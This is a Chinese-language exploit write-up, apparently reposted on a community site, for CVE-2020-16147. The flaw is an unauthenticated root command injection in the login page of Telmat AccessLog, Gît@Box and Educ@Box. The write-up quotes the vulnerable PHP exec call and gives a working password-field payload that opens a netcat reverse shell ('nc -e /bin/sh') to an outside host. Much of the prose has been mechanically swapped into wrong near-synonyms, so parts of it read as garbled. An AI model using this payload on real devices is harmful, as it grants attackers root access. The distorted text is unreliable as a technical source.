Telmat 未经身份验证的根 RCE (CVE-2020-16147)

破绽描绘

Telmat AccessLog、Gît@Box 和 Educ@Box 的登录页面上的未经身份考证的代码注入软件版本<= 6.0 (TAL_20180415)允许远程代码执行 (RCE) 为root.
 


受影响的产品

TelMat AccessLog <= 6.0 (TAL_20180415)
TelMat Educ@Box     <= 6.0 (TAL_20180415)
TelMat Gît@Box   <= 6.0 (TAL_20180415)
 


 

破绽剖析

此破绽在 Telmat AccessLog 6.0 ( TAL_20180415) 上停止了测试:

图片[1]-Telmat 未经身份验证的根 RCE (CVE-2020-16147)-孤勇者社区

在一次浸透测试中,我找到了 AccessLog 的登录页面。我试图在登录和密码字段上执行 SQL 注入以绕过身份考证机制。我留意到当密码包含单引号时,登录页面呈现了不测行为'。一切客户端的登录页面都被进度条取代,持续时间约为 10 到 15 分钟。(这可能招致回绝效劳)

运用我之前找到的Authenticated RCE,我提取了登录页面的内容/authent.php。在剖析了身份考证机制的工作原理之后,我发现了这个有趣的局部(文件中的第 56 到 72 行/authent.php):

if(isset($cpasswd)) {
  unset($res);
  if(strstr($cpasswd,"$apr1$")) {
    $dpsd = explode("$",$cpasswd);
    $salt = $dpsd[2];
    $cmd = "/usr/bin/openssl passwd -apr1 -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
    exec($cmd,$res,$cr);
    $ccpasswd = trim($res[0]);
  } else {
    $salt = mb_substr($cpasswd,0,2);
    $cmd = "/usr/bin/openssl passwd -crypt -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
    exec($cmd,$res,$cr);
    $ccpasswd = trim($res[0]);
  }
  // ...
}
 

我们能够看到whois_pasPOST恳求中变量的内容是直接追加到命令行的,没有经过过滤。我们如今只需求关闭单引号'并添加一个分号;,我们就能够直接注入 shell 命令。在我们的注入完毕时,我们添加一个#以注释掉命令行的其他局部。
 


 

破绽复现

为了取得反向外壳,我运用了以下有效负载:

Login (whois_adm)   poc
Password (whois_pas)    '; nc -e /bin/sh 1.2.3.4 4444 #

我们如今有一个未经身份考证的 RCE,此外还运转为root:

图片[2]-Telmat 未经身份验证的根 RCE (CVE-2020-16147)-孤勇者社区
 


 

缓解措施

为了修补此破绽,您需求将固件更新到最新版本。

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片